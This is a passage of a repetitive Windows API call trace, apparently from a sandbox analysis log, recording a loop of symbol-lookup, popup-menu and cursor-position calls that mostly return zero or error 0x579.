context=0x0 | out: FoundFile=0x0) returned 0 [0216.066] SymCleanup (hProcess=0x0) returned 0 [0216.066] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.066] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.066] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.066] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.066] GetLastError () returned 0x579 [0216.066] SetLastError (dwErrCode=0x579) [0216.066] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.066] SymCleanup (hProcess=0x0) returned 0 [0216.066] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.066] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.066] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.066] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.066] GetLastError () returned 0x579 [0216.066] SetLastError (dwErrCode=0x579) [0216.066] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.066] SymCleanup (hProcess=0x0) returned 0 [0216.066] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.066] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.066] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.066] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.066] GetLastError () returned 0x579 [0216.067] SetLastError (dwErrCode=0x579) [0216.067] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.067] SymCleanup (hProcess=0x0) returned 0 [0216.067] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.067] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.067] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.067] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=871, param_4=413, param_5=0x0, param_6=0x0) returned 0 [0216.067] GetLastError () returned 0x579 [0216.067] SetLastError (dwErrCode=0x579) [0216.067] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.067] SymCleanup (hProcess=0x0) returned 0 [0216.067] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.067] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.067] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.067] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.067] GetLastError () returned 0x579 [0216.067] SetLastError (dwErrCode=0x579) [0216.067] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.067] SymCleanup (hProcess=0x0) returned 0 [0216.067] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.067] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.067] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.067] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.067] GetLastError () returned 0x579 [0216.068] SetLastError (dwErrCode=0x579) [0216.068] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.068] SymCleanup (hProcess=0x0) returned 0 [0216.068] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.068] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.068] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.068] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.068] GetLastError () returned 0x579 [0216.068] SetLastError (dwErrCode=0x579) [0216.068] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.068] SymCleanup (hProcess=0x0) returned 0 [0216.068] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.068] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.068] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.068] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.068] GetLastError () returned 0x579 [0216.068] SetLastError (dwErrCode=0x579) [0216.068] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.068] SymCleanup (hProcess=0x0) returned 0 [0216.068] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.068] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.068] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.068] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1300, param_4=729, param_5=0x0, param_6=0x0) returned 0 [0216.068] GetLastError () returned 0x579 [0216.069] SetLastError (dwErrCode=0x579) [0216.069] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.069] SymCleanup (hProcess=0x0) returned 0 [0216.069] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.069] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.069] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.069] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.069] GetLastError () returned 0x579 [0216.069] SetLastError (dwErrCode=0x579) [0216.069] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.069] SymCleanup (hProcess=0x0) returned 0 [0216.069] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.069] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.069] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.069] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.069] GetLastError () returned 0x579 [0216.069] SetLastError (dwErrCode=0x579) [0216.069] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.069] SymCleanup (hProcess=0x0) returned 0 [0216.069] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.069] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.069] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.069] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.069] GetLastError () returned 0x579 [0216.070] SetLastError (dwErrCode=0x579) [0216.070] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.070] SymCleanup (hProcess=0x0) returned 0 [0216.070] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.070] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.070] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.070] GetLastError () returned 0x579 [0216.070] SetLastError (dwErrCode=0x579) [0216.070] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.070] SymCleanup (hProcess=0x0) returned 0 [0216.070] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.070] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.070] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=199, param_4=256, param_5=0x0, param_6=0x0) returned 0 [0216.070] GetLastError () returned 0x579 [0216.070] SetLastError (dwErrCode=0x579) [0216.070] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.070] SymCleanup (hProcess=0x0) returned 0 [0216.070] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.070] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.070] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.070] GetLastError () returned 0x579 [0216.071] SetLastError (dwErrCode=0x579) [0216.071] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.071] SymCleanup (hProcess=0x0) returned 0 [0216.071] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.071] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.071] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.071] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.071] GetLastError () returned 0x579 [0216.071] SetLastError (dwErrCode=0x579) [0216.071] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.071] SymCleanup (hProcess=0x0) returned 0 [0216.071] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.071] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.071] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.071] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.071] GetLastError () returned 0x579 [0216.071] SetLastError (dwErrCode=0x579) [0216.071] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.071] SymCleanup (hProcess=0x0) returned 0 [0216.071] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.071] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.071] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.254] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0216.254] GetLastError () returned 0x579 [0216.254] SetLastError (dwErrCode=0x579) [0216.254] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.254] SymCleanup (hProcess=0x0) returned 0 [0216.254] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.254] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.254] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.254] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=818, param_4=193, param_5=0x0, param_6=0x0) returned 0 [0216.254] GetLastError () returned 0x579 [0216.254] SetLastError (dwErrCode=0x579) [0216.254] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.254] SymCleanup (hProcess=0x0) returned 0 [0216.254] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.254] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.254] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.254] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.254] GetLastError () returned 0x579 [0216.255] SetLastError (dwErrCode=0x579) [0216.255] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.255] SymCleanup (hProcess=0x0) returned 0 [0216.255] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.255] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.255] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.255] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.255] GetLastError () returned 0x579 [0216.255] SetLastError (dwErrCode=0x579) [0216.255] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.255] SymCleanup (hProcess=0x0) returned 0 [0216.255] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.255] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.255] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.255] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.255] GetLastError () returned 0x579 [0216.255] SetLastError (dwErrCode=0x579) [0216.255] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.255] SymCleanup (hProcess=0x0) returned 0 [0216.255] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.255] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.255] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.255] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.255] GetLastError () returned 0x579 [0216.255] SetLastError (dwErrCode=0x579) [0216.255] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.255] SymCleanup (hProcess=0x0) returned 0 [0216.255] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.255] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.255] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.256] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1307, param_4=323, param_5=0x0, param_6=0x0) returned 0 [0216.256] GetLastError () returned 0x579 [0216.256] SetLastError (dwErrCode=0x579) [0216.256] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.256] SymCleanup (hProcess=0x0) returned 0 [0216.256] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.256] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.256] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.256] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.256] GetLastError () returned 0x579 [0216.256] SetLastError (dwErrCode=0x579) [0216.256] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.256] SymCleanup (hProcess=0x0) returned 0 [0216.256] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.256] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.256] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.256] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.256] GetLastError () returned 0x579 [0216.256] SetLastError (dwErrCode=0x579) [0216.256] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.256] SymCleanup (hProcess=0x0) returned 0 [0216.256] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.256] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.256] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.256] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.257] GetLastError () returned 0x579 [0216.257] SetLastError (dwErrCode=0x579) [0216.257] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.257] SymCleanup (hProcess=0x0) returned 0 [0216.257] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.257] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.257] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.257] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.257] GetLastError () returned 0x579 [0216.257] SetLastError (dwErrCode=0x579) [0216.257] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.257] SymCleanup (hProcess=0x0) returned 0 [0216.257] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.257] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.257] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.257] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1409, param_4=387, param_5=0x0, param_6=0x0) returned 0 [0216.257] GetLastError () returned 0x579 [0216.257] SetLastError (dwErrCode=0x579) [0216.257] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.257] SymCleanup (hProcess=0x0) returned 0 [0216.257] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.257] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.257] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.257] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.257] GetLastError () returned 0x579 [0216.257] SetLastError (dwErrCode=0x579) [0216.257] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.258] SymCleanup (hProcess=0x0) returned 0 [0216.258] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.258] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.258] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.258] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.258] GetLastError () returned 0x579 [0216.258] SetLastError (dwErrCode=0x579) [0216.258] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.258] SymCleanup (hProcess=0x0) returned 0 [0216.258] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.258] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.258] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.258] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.258] GetLastError () returned 0x579 [0216.258] SetLastError (dwErrCode=0x579) [0216.258] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.258] SymCleanup (hProcess=0x0) returned 0 [0216.258] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.258] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.258] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.258] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.258] GetLastError () returned 0x579 [0216.258] SetLastError (dwErrCode=0x579) [0216.258] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.258] SymCleanup (hProcess=0x0) returned 0 [0216.258] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.258] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.258] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.258] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=107, param_4=468, param_5=0x0, param_6=0x0) returned 0 [0216.258] GetLastError () returned 0x579 [0216.259] SetLastError (dwErrCode=0x579) [0216.259] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.259] SymCleanup (hProcess=0x0) returned 0 [0216.259] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.259] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.259] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.259] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.259] GetLastError () returned 0x579 [0216.259] SetLastError (dwErrCode=0x579) [0216.259] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.259] SymCleanup (hProcess=0x0) returned 0 [0216.259] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.259] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.259] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 